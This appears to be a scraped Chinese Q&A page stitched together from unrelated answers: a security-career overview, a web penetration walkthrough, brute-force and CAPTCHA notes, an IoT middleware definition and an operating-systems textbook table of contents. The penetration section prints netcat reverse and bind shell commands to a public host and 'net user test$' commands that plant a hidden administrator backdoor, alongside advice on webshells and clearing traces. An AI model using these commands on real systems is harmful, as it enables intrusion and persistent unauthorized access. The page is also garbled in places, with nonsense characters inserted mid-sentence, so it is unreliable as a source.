1. 網路安全怎麼學
你可以把網路安全理解成電商行業、教育行業等其他行業一樣,每個行業都有自己的軟體研發,網路安全作為一個行業也不例外,不同的是這個行業的研發就是開發與網路安全業務相關的軟體。
既然如此,那其他行業通用的崗位在安全行業也是存在的,前端、後端、大數據分析等等,也就是屬於上面的第一個分類,與安全業務關系不大的類型。這里我們重點關注下第二種,與安全業務緊密相關的研發崗位。
這個分類下面又可以分為兩個子類型:
做安全產品開發,做防
做安全工具開發,做攻
防火牆、IDS、IPS
WAF(Web網站應用防火牆)
資料庫網關
NTA(網路流量分析)
SIEM(安全事件分析中心、態勢感知)
大數據安全分析
EDR(終端設備上的安全軟體)
DLP(數據泄漏防護)
殺毒軟體
安全檢測沙箱
安全行業要研發的產品,主要(但不限於)有下面這些:
總結一下,安全研發的產品大部分都是用於檢測發現、抵禦安全攻擊用的,涉及終端側(PC電腦、手機、網路設備等)、網路側。
開發這些產品用到的技術主要以C/C++、Java、Python三大技術棧為主,也有少部分的GoLang、Rust。
安全研發崗位,相對其他兩個方向,對網路安全技術的要求要低一些(只是相對,部分產品的研發對安全技能要求並不低),甚至我見過不少公司的研發對安全一無所知。
2. web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
3. 暴力破解與驗證碼安全
暴力破解 :暴力破解簡單來說就是將密碼進行逐個測試,直到找出正確的密碼為止
暴力破解:是一攻擊具手段,在web攻擊中,一般會使用這種手段對應用系統的認證信息進行獲取。 其過程就是使用大量的認證信息在認證介面進行嘗試登錄,直到得到正確的結果。為了提高效率,暴力破解一般會使用帶有字典的工具來進行自動化操作
暴力破解漏洞:如果一個web應用系統沒有採用或者採用了比較弱的認證安全策略,導致其被暴力破解的「可能性」變的比較高
暴力破解前准備 :
1. web系統的認證安全策略:
是否要求用戶設置復雜的密碼;
是否每次認證都使用安全的驗證碼
是否對嘗試登錄的行為進行判斷和限制(如:連續5次錯誤登錄,進行賬號鎖定或IP地址鎖定等)
是否采念喊洞用了雙因素認證
認證過程是否帶有token信息
2.工具准備:准備合適的暴力破解工具以及一個有郊的字典
三個要點:
1. 對目標網站進行注冊,搞清楚帳號密碼的一些限制,比如目標站點要求密碼必須是8位以上,字母數字組合,則可以按照此優化字典,比如去掉不符合要求的密碼
2. web管理面密碼使用admin/administrator/root帳號的機率較高,可以使用這三個帳號+隨便一個密碼字典進行暴力破解
3. 破解過程中一定要注意觀察提示,如有「用戶名或密碼錯誤」「密碼錯誤」「用戶名不存在」等相關提示,可進一步利用
暴力破解分類 :
B/S模式:瀏覽器伺服器模式的認證過程是http協議實現的,因此可以用burpsuite抓包工具來破解
1. 不帶驗證碼的認證的破解:可直接使用burpsuite加密碼字典破解
2. 帶驗證碼的認證的破解:如果是前端驗證可使用burpsuite抓包繞過驗證碼來暴力破仔枯解,如果是後端驗證,可使用爆破工具(如pkav)外接驗證碼識別器來暴力破解。(如果後台驗證過程中驗證碼沒有立即銷毀,此驗證碼可使用24分鍾)
3. 帶token信息的滲薯認證的破解:(Token是服務端生成的一串字元串,以作客戶端進行請求的一個令牌,客戶端帶上token代表具有執行某些操作的權利)token信息每次都不一樣,需要burpsuite將伺服器返回的token取出用於下一次請求。
C/S模式:客戶端伺服器模式的認證過程有多種協議實現的,因此需要用專用的集成化破解工具來破解,例如 Hydra、Bruter、X-scan
工具:
Bruter:密碼暴力破解工具
Hydra:hydra是著名黑客組織thc的一款開源的暴力密碼破解工具,支持多種協議,可以在線破解多種應用密碼。
暴力破解的防範 :增加web系統的認證安全策略
要求用戶設置復雜的密碼
每次認證都使用安全的驗證碼
對嘗試登錄的行為進行判斷和限制
採用雙因素認證
認證過程帶token信息
驗證碼安全 :
是一種區分用戶是計算機還是人的全自動程序,可以防止:密碼暴力破解、刷票、論壇灌水。可有效防護黑客對特定用戶的密碼暴力破解。
驗證碼分類 :
Gif動畫驗證碼
手機簡訊驗證碼
手機語音驗證碼
視頻驗證碼
驗證碼常見安全問題 :
客戶端問題
服務端問題
基於Token驗證
驗證碼太簡單,容易被機器識別
暴破驗證碼
驗證碼安全防護 :
1) 強制要求輸入驗證碼,否則,必須實施IP策略。 注意不要被X-Forwaded-For繞過了!
2) 驗證碼只能用一次,用完立即過期!不能再次使用
3) 驗證碼不要太弱。扭曲、變形、干擾線條、干擾背景色、變換字體等。
4) 大網站最好統一安全驗證碼,各處使用同一個驗證碼介面
思路點:暴力破解和驗證碼安全破解時也可以熟悉認證業務過程,並試圖在業務過程中尋找業務邏輯漏洞。
弱口令:屬於暴力破解漏洞的一種,是web認證界面使用了常用的或者較簡單的用戶名密碼,使暴力破解變得簡單。
4. 什麼是物聯網的中間件,是軟體系統嗎
介於應用系統和系統軟體之間的一類軟體,它使用系統軟體所提供的基礎服務(功能),銜接網路上應用系統的各個部分或不同的應用,能夠達到資源共享、功能共享的目的。
中間件為一種獨立的系統軟體服務程序,分布式應用軟體藉助這種軟體在不同的技術之間共享資源,中間件位於客戶機伺服器的操作系統之上,管理計算資源和網路通信。從這個意義上可以用一個等式來表示中間件:中間件=平台+通信,這也就限定了只有用於分布式系統中才能叫中間件,同時也把它與支撐軟體和實用軟體區分開來。
(4)hydraweb擴展閱讀
中間件技術創建在對應用軟體部分常用功能的抽象上,將常用且重要的過程調用、分布式組件、消息隊列、事務、安全、鏈接器、商業流程、網路並發、HTTP伺服器、Web Service等功能集於一身或者分別在不同品牌的不同產品中分別完成。
在商業中間件及信息化市場主要存在微軟陣營、Java陣營、開源陣營。陣營的區分主要體現在對下層操作系統的選擇以及對上層組件標準的制訂。主流商業操作系統主要來自Unix、蘋果公司和Linux的系統以及微軟視窗系列。
5. 操作系統概念的作品目錄
目錄:
第一部分 概 述
第一章 導論
1. 1 操作系統是什麼
1. 1. 1 用戶觀點
1. 1. 2 系統觀點
1. 1. 3 系統目標
1. 2 大型機系統
1. 2. 1 批處理系統
1. 2. 2 多道程序系統
1. 2. 3 分時系統
1. 3 桌面系統
1. 4 多處理器系統
1. 5 分布式系統
1. 5. 1 客戶機一伺服器系統
1. 5. 2 對等系統
1. 6 集群系統
1. 7 實時系統
1. 8 手持系統
1. 9 功能遷移
1. 10 計算環境
1. 10. 1 傳統計算
1. 10. 2 基於Web的計算
1. 10. 3 嵌入式計算
1. 11 小結
習題一
推薦讀物
第二章 計算機系統結構
2. 1 計算機系統操作
2. 2 I/O結構
2. 2. 1 I/O中斷
2. 2. 2 DMA結構
2. 3 存儲結構
2. 3. 1 內存
2. 3. 2 磁碟(早期帶有軟盤)
2. 3. 3 磁帶
2. 4 存儲層次
2. 4. 1 高速緩存技術
2. 4. 2 一致性與連貫性
2. 5 硬體保護
2. 5. 1 雙重模式操作
2. 5. 2 I/O保護
2. 5. 3 內存保護
2. 5. 4 CPU保護
2. 6 網路結構
2. 6. 1 區域網
2. 6. 2 廣域網
2. 7 小結
習題二
推薦讀物
第三章 操作系統結構
3. 1 系統組成
3. 1. 1 進程管理
3. 1. 2 內存管理
3. 1. 3 文件管理
3. 1. 4 輸入/輸出系統管理
3. 1. 5 二級存儲管理
3. 1. 6 聯網
3. 1. 7 保護系統
3. 1. 8 命令解釋系統
3. 2 操作系統服務
3. 3 系統調用
3. 3. 1 進程式控制制
3. 3. 2 文件管理
3. 3. 3 設備管理
3. 3. 4 信息維護
3. 3. 5 通信
3. 4 系統程序
3. 5 系統結構
3. 5. 1 簡單結構
3. 5. 2 分層方法
3. 5. 3 微內核
3. 6 虛擬機
3. 6. 1 實現
3. 6. 2 優點
3. 6. 3 Java
3. 7 系統設計與實現
3. 7. 1 設計目標
3. 7. 2 機制與策略
3. 7. 3 實現
3. 8 系統生成
3. 9 小結
習題三
推薦讀物
第二部分 進程管理
第四章 進程
4. 1 進程概念
4. 1. 1 進程
4. 1. 2 進程狀態
4. 1. 3 進程式控制制塊
4. 1. 4 線程
4. 2 進程調度
4. 2. 1 調度隊列
4. 2. 2 調度程序
4. 2. 3 關聯切換
4. 3 進程操作
4. 3. 1 進程創建
4. 3. 2 進程終止
4. 4 進程協作
4. 5 進程間通信
4. 5. 1 消息傳遞系統
4. 5. 2 命名
4. 5. 3 同步
4. 5. 4 緩沖
4. 5. 5 例子:Mach
4. 5. 6 例子:Windows 2000
4. 6 客戶機-伺服器系統通信
4. 6. 1 套接字
4. 6. 2 遠程過程調用
4. 6. 3 遠程方法調用
4. 7 小結
習題四
推薦讀物
第五章 線程
5. 1 概述
5. 1. 1 動機
5. 1. 2 優點
5. 1. 3 用戶線程與內核線程
5. 2 多線程模型
5. 2. 1 多對一模型
5. 2. 2 一對一模型
5. 2. 3 多對多模型
5. 3 若干多線程問題
5. 3. 1 系統調用fork和
5. 3. 2 取消
5. 3. 3 信號處理
5. 3. 4 線程池
5. 3. 5 線程特定數據
5. 4 Pthread線程
5. 5 Solaris 2線程
5. 6 Windows 2000線程
5. 7 Linux線程
5. 8 Java線程
5. 8. 1 線程創建
5. 8. 2 JVM與主機操作系統
5. 9 小結
習題五
推薦讀物
第六章 CPU調度
6. 1 基本概念
6. 1. 1 CPU-I/O xE間周期
6. 1. 2 CPU調度程序
6. 1. 3 可搶占式調度
6. 1. 4 分派程序
6. 2 調度准則
6. 3 調度演算法
6. 3. 1 先到先服務調度
6. 3. 2 最短作業優先調度
6. 3. 3 優先權調度
6. 3. 4 輪轉法調度
6. 3. 5 多級隊列調度
6. 3. 6 多級反饋隊列調度
6. 4 多處理器調度
6. 5 實時調度
6. 6 演算法評估
6. 6. 1 確定性建模
6. 6. 2 排隊模型
6. 6. 3 模擬
6. 6. 4 實現
6. 7 進程調度模型
6. 7. 1 例子:Solaris 2
6. 7. 2 例子:Windows 2000
6. 7. 3 例子:Linux
6. 8 小結
習題六
推薦讀物
第七章 進程同步
7. 1 背景
7. 2 臨界區域問題
7. 2. 1 兩進程解法
7. 2. 2 多進程解法
7. 3 同步硬體
7. 4 信號量
7. 4. 1 用法
7. 4. 2 實現
7. 4. 3 死鎖與飢餓
7. 4. 4 二進制信號量
7. 5 經典同步問題
7. 5. 1 有限緩沖問題
7. 5. 2 讀者一作者問題
7. 5. 3 哲學家進餐問題
7. 6 臨界區域
7. 7 管程
7. 8 操作系統同步
7. 8. 1 Solaris 2中的同步
7. 8. 2 Windows 2000中的同步
7. 9 原子事務
7. 9. 1 系統模型
7. 9. 2 基於日誌的恢復
7. 9. 3 檢查點
7. 9. 4 並發原子事務
7. 10 小結
習題七
推薦讀物
第八章 死鎖
8. 1 系統模型
8. 2 死鎖特點
8. 2. 1 必要條件
8. 2. 2 資源分配圖
8. 3 死鎖處理方法
8. 4 死鎖預防
8. 4. 1 互斥
8. 4. 2 佔有並等待
8. 4. 3 非搶占
8. 4. 4 循環等待
8. 5 死鎖避免
8. 5. 1 安全狀態
8. 5. 2 資源分配圖演算法
8. 5. 3 銀行家演算法
8. 6 死鎖檢測
8. 6. 1 每種資源類型只有單個實例
8. 6. 2 每種資源類型的多個實例
8. 6. 3 應用檢測演算法
8. 7 死鎖恢復
8. 7. 1 進程終止
8. 7. 2 資源搶占
8. 8 小結
習題八
推薦讀物
第三部分 存儲管理
第九章 內存管理
9. 1 背景
9. 1. 1 地址捆綁
9. 1. 2 邏輯地址空間與物理地址空間
9. 1. 3 動態載入
9. 1. 4 動態鏈接與共享庫
9. 1. 5 覆蓋
9. 2 交換
9. 3 連續內存分配
9. 3. 1 內存保護
9. 3. 2 內存分配
9. 3. 3 碎片
9. 4 分頁
9. 4. 1 基本方法
9. 4. 2 硬體支持
9. 4. 3 保護
9. 4. 4 頁表結構
9. 4. 5 共享頁表
9. 5 分段
9. 5. 1 基本方法
9. 5. 2 硬體
9. 5. 3 保護與共享
9. 5. 4 碎片
9. 6 帶有分頁的分段
9.
小結
習題九
推薦讀物
第十章 虛擬內存
10. 1 背景
10. 2 請求頁面調度
10. 2. 1 基本概念
10. 2. 2 請求頁面調度的性能
10. 3 進程創建
10. 3. 1 寫時拷貝
10. 3. 2 內存映射文件
10. 4 頁面置換
10. 4. 1 基本方法
10. 4. 2 FIFO頁置換
10. 4. 3 最優頁置換
10. 4. 4 LRU頁置換
10. 4. 5 LRU近似頁置換
10. 4. 6 基於計數的頁置換
10. 4. 7 頁緩沖演算法
10. 5 幀分配
10. 5. 1 幀的最小數量
10. 5. 2 分配演算法
10. 5. 3 全局分配與局部分配
10. 6 系統顛簸
10. 6. 1 系統顛簸的原因
10. 6. 2 工作集合模型
10. 6. 3 頁錯誤頻率
10. 7 操作系統樣例
10. 7. 1 Windows NT
10. 7. 2 Solaris 2
10. 8 其他考慮
10. 8. 1 預約式頁面調度
10. 8. 2 頁大小
10. 8. 3 TLB范圍
10. 8. 4 反向頁表
10. 8. 5 程序結構
10. 8. 6 I/O互鎖
10. 8. 7 實時處理
10. 9 小結
習題十
推薦讀物
第十一章 文件系統介面
11. 1 文件概念
11. 1. 1 文件屬性
11. 1. 2 文件操作
11. 1. 3 文件類型
11. 1. 4 文件結構
11. 1. 5 內部文件結構
11. 2 訪問方法
11. 2. 1 順序訪問
11. 2. 2 直接訪問
11. 2. 3 其他訪問方法
11. 3 目錄結構
11. 3. 1 單層目錄
11. 3. 2 雙層目錄
11. 3. 3 樹形結構目錄
11. 3. 4 無環圖目錄
11. 3. 5 通用圖目錄
11. 4 文件系統安裝
11. 5 文件共享
11. 5. 1 多用戶
11. 5. 2 遠程文件系統
11. 5. 3 一致性語義
11. 5. 4 UNIX語義
11. 5. 5 會話語義
11. 5. 6 永久共享文件語義
11. 6 保護
11. 6. 1 訪問類型
11. 6. 2 訪問控制
11. 6. 3 其他保護方法
11. 6. 4 例子:UNIX
11. 7 小結
習題十一
推薦讀物
第十二章 文件系統實現
12. 1 文件系統結構
12. 2 文件系統實現
12. 2. 1 概述
12. 2. 2 分區與安裝
12. 2. 3 虛擬文件系統
12. 3 目錄實現
12. 3. 1 線性列表
12. 3. 2 哈希表
12. 4 分配方法
12. 4. 1 連續分配
12. 4. 2 鏈接分配
12. 4. 3 索引分配
12. 4. 4 性能
12. 5 空閑空間管理
12. 5. 1 位向量
12. 5. 2 鏈表
12. 5. 3 組
12. 5. 4 計數
12. 6 效率與性能
12. 6. 1 效率
12. 6. 2 性能
12. 7 恢復
12. 7. 1 一致性檢查
12. 7. 2 備份與恢復
12. 8 基於日誌結構的文件系統
12. 9 NFS
12. 9. 1 概述
12. 9. 2 安裝協議
12. 9. 3 NFS協議
12. 9. 4 路徑名轉換
12. 9. 5 遠程操作
12. 10 小結
習題十二
推薦讀物
第四部分 I/O系統
第十三章 I/O系統
13. 1 概述
13. 2 I/O硬體
13. 2. 1 輪詢 polling
13. 2. 2 中斷
13. 2. 3 直接內存訪問
13. 3 I/O應用介面
13. 3. 1 塊與字元設備
13. 3. 2 網路設備
13. 3. 3 時鍾與定時器
13. 3. 4 阻塞與非阻塞I/O
13. 4 I/O內核子系統
13. 4. 1 I/O調度
13. 4. 2 緩沖
13. 4. 3 高速緩存
13. 4. 4 假離線與設備預留
13. 4. 5 錯誤處理
13. 4. 6 內核數據結構
13. 5 把I/O操作轉換成硬體操作
13. 6 流
13. 7 性能
13. 8 小結
習題十三
推薦讀物
第十四章 大容量存儲器結構
14. 1 磁碟結構
14. 2 磁碟調度
14. 2. 1 FCFS調度
14. 2. 2 SSTF調度
14. 2. 3 SCAN調度
14. 2. 4 C-SCAN調度
14. 2. 5 LOOK調度
14. 2. 6 磁碟調度演算法的選擇
14. 3 磁碟管理
14. 3. 1 磁碟格式化
14. 3. 2 引導塊
14. 3. 3 壞塊
14. 4 交換空間管理
14. 4. 1 交換空間的使用
14. 4. 2 交換空間位置
14. 4. 3 交換空間管理:例子
14. 5 RAID結構
14. 5. 1 通過冗餘改善可靠性
14. 5. 2 通過並行處理改善性能
14. 5. 3 RAID級別
14. 5. 4 RAID級別的選擇
14. 5. 5 擴展
14. 6 磁碟附屬
14. 6. 1 主機附屬存儲
14. 6. 2 網路附屬存儲
14. 6. 3 存儲區域網路
14. 7 穩定存儲實現
14. 8 第三級存儲結構
14. 8. 1 第三級存儲設備
14. 8. 2 操作系統作業
14. 8. 3 性能
14. 9 小結
習題十四
推薦讀物
第五部分 分布式系統
第十五章 分布式系統結構
15. 1 背景
15. 1. 1 分布式系統的優點
15. 1. 2 分布式操作系統的類型
15. 1. 3 階段性小結
15. 2 拓撲結構
15. 3 網路類型
15. 3. 1 區域網
15. 3. 2 廣域網
15. 4 通信
15. 4. 1 命名和名字解析
15. 4. 2 路由策略
15. 4. 3 分組策略
15. 4. 4 連接策略
15. 4. 5 競爭
15. 5 通信協議
15. 6 健壯性
15. 6. 1 故障檢測
15. 6. 2 重構
15. 6. 3 故障恢復
15. 7 設計事項
15. 8 實例:連網
15. 9 小結
習題十五
推薦讀物
第十六章 分布式文件系統
16. 1 背景
16. 2 命名和透明性
16. 2. 1 命名結構
16. 2. 2 命名方案
16. 2. 3 實現技術
16. 3 遠程文件訪問
16. 3. 1 基本的緩存設計
16. 3. 2 緩存位置
16. 3. 3 緩存更新策略
16. 3. 4 一致性
16. 3. 5 高速緩存和遠程服務的對比
16. 4 有狀態服務和無狀態服務
16. 5 文件復制
16. 6 一個實例:AFS
16. 6. 1 概述
16. 6. 2 共享名字空間
16. 6. 3 文件操作和一致性語義
16. 6. 4 實現
16. 7 小結
習題十六
推薦讀物
第十七章 分布式協調
17. 1 事件排序
17. 1. 1 事前關系
17. 1. 2 實現
17. 2 互斥
17. 2. 1 集中式演算法
17. 2. 2 完全分布式的演算法
17. 2. 3 令牌傳遞演算法
17. 3 原子性
17. 3. 1 兩階段提交協議
17. 3. 2 IPC中的錯誤處理
17. 4 並發控制
17. 4. 1 加鎖協議
17. 4. 2 時間戳
17. 5 死鎖處理
17. 5. 1 死鎖預防
17. 5. 2 死鎖檢測
17. 6 選舉演算法
17. 6. 1 Bully演算法
17. 6. 2 環演算法
17. 7 達成一致
17. 7. 1 不可靠通信
17. 7. 2 故障處理
17. 8 小結
習題十七
推薦讀物
第六部分 保護與安全
第十八章 保護
18. 1 保護目標
18. 2 保護域
18. 2. 1 域結構
18. 2. 2 舉例:UNIX
18. 2. 3 舉例:MULTICS
18. 3 訪問矩陣
18. 4 訪問矩陣的實現
18. 4. 1 全局表
18. 4. 2 對象的訪問列表
18. 4. 3 域的許可權列表
18. 4. 4 鎖一鑰匙機制
18. 4. 5 比較
18. 5 訪問許可權的撤回
18. 6 基於許可權的系統
18. 6. 1 舉例:Hydra
18. 6. 2 舉例:劍橋CAP系統
18. 7 基於語言的保護
18. 7. 1 基於編譯程序的強制
18. 7. 2 Java 2的保護
18. 8 小結
習題十八
推薦讀物
第十九章 安全
19. 1 安全問題
19. 2 用戶驗證
19. 2. 1 密碼
19. 2. 2 密碼脆弱的一面
19. 2. 3 密碼加密
19. 2. 4 一次性密碼
19. 2. 5 生物測定學
19. 3 程序威脅
19. 3. 1 特洛伊木馬
19. 3. 2 後門
19. 3. 3 棧和緩沖區溢出
19. 4 系統威脅
19. 4. 1 蠕蟲
19. 4. 2 病毒
19. 4. 3 拒絕服務
19. 5 保證系統與設備的安全
19. 6 入侵檢測
19. 6. 1 入侵的組成
19. 6. 2 審計和記錄
19. 6. 3 Tripwire
19. 6. 4 系統調用監控
19. 7 密碼系統
19. 7. 1 驗證
19. 7. 2 加密
19. 7. 3 舉例:SSL
19. 7. 4 密碼術的使用
19. 8 計算機安全分類
19. 9 例子:Windows NT
19. 10 小結
習題十九
推薦讀物
第七部分 案例研究
第二十章 Linux系統
20. 1 發展歷程
20. 1. 1 Linux內核
20. 1. 2 Linux系統
20. 1. 3 Linux版本
20. 1. 4 Linux許可
20. 2 設計原理
20. 2. 1 Linux系統的組件
20. 3 內核模塊
20. 3. 1 模塊管理
20. 3. 2 驅動程序注冊
20. 3. 3 沖突解決方案
20. 4 進程管理
20. 4. 1 Fork/進程模型
20. 4. 2 進程與線程
20. 5 調度
20. 5. 1 內核同步
20. 5. 2 進程調度
20. 5. 3 對稱多處理技術
20. 6 內存管理
20. 6. 1 物理內存管理
20. 6. 2 虛擬內存
20. 6. 3 用戶程序的執行與裝載
20. 7 文件系統
20. 7. 1 虛擬文件系統
20. 7. 2 Linux ext2fs文件系統
20. 7. 3 Linux Proc文件系統
20. 8 輸入與輸出
20. 8. 1 塊設備
20. 8. 2 字元設備
20. 9 進程間通信
20. 9. 1 同步與信號
20. 9. 2 進程間數據傳輸
20. 10 網路結構
20. 11 安全
20. 11. 1 認證
20. 11. 2 訪問控制
20. 12 小結
習題二十
推薦讀物
第二十一章 Windows 2000
21. 1 歷史
21. 2 設計原則
21. 3 系統組成
21. 3. 1 硬體抽象層
21. 3. 2 內核
21. 3. 3 執行體
21. 4 環境子系統
21. 4. 1 MS-DOS環境
21. 4. 2 16位Windows環境
21. 4. 3 Win32環境
21. 4. 4 POSIX子系統
21. 4. 5 OS/2子系統
21. 4. 6 登錄和安全子系統
21. 5 文件系統
21. 5. 1 內部布局
21. 5. 2 恢復
21. 5. 3 安全
21. 5. 4 卷管理及容錯
21. 5. 5 壓縮技術
21. 5. 6 再解析點
21. 6 網路
21. 6. 1 協議
21. 6. 2 分布式處理機制
21. 6. 3 重定向器與伺服器
21. 6. 4 域
21. 6. 5 TCP/IP網路中的名稱解析
21. 7 程序介面
21. 7. 1 訪問內核對象
21. 7. 2 進程管理
21. 7. 3 進程間通信
21. 7. 4 內存管理
21. 8 小結
習題二十一
推薦讀物
第二十二章 WindowsXP
22. 1 歷史
22. 2 設計原則
22. 2. 1 安全性
22. 2. 2 可靠性
22. 2. 3 Windows和POSIX應用的兼容性
22. 2. 4 高性能
22. 2. 5 可擴展性
22. 2. 6 可移植性
22. 2. 7 國際支持
22. 3 系統組成
22. 3. 1 硬體抽象層
22. 3. 2 內核
22. 3. 3 執行體
22. 4 環境子系統
22. 4. 1 MS-DOS環境
22. 4. 2 16位Windows環境
22. 4. 3 1A64的32位Windows環境
22. 4. 4 Win32環境
22. 4. 5 POSIX子系統
22. 4. 6 登錄與安全子系統
22. 5 文件系統
22. 5. 1 NTFS內部布局
22. 5. 2 恢復
22. 5. 3 安全
22. 5. 4 卷管理和容錯
22. 5. 5 壓縮與加密
22. 5. 6 安裝點
22. 5. 7 改變日誌
22. 5. 8 卷影子拷貝
22. 6 網路
22. 6. 1 網路介面
22. 6. 2 協議
22. 6. 3 分布式處理機制
22. 6. 4 重定向器與伺服器
22. 6. 5 域
22. 6. 6 活動目錄
22. 6. 7 TCP/IP網路的名稱解析
22. 7 程序介面
22. 7. 1 內核對象訪問
22. 7. 2 進程間的對象共享
22. 7. 3 進程管理
22. 7. 4 進程間通信
22. 7. 5 內存管理
22. 8 小結
習題二十二
推薦讀物
第二十三章 歷史縱覽
23. 1 早期系統
23. 2 Atlas
23. 3 XDS-940
23. 4 THE
23. 5 RC4000
23. 6 CTSS
23. 7 MULTICS
23. 8 OS/360
23. 9 Mach
23. 10 其他系統
參考文獻
原版相關內容引用表
英漢對照表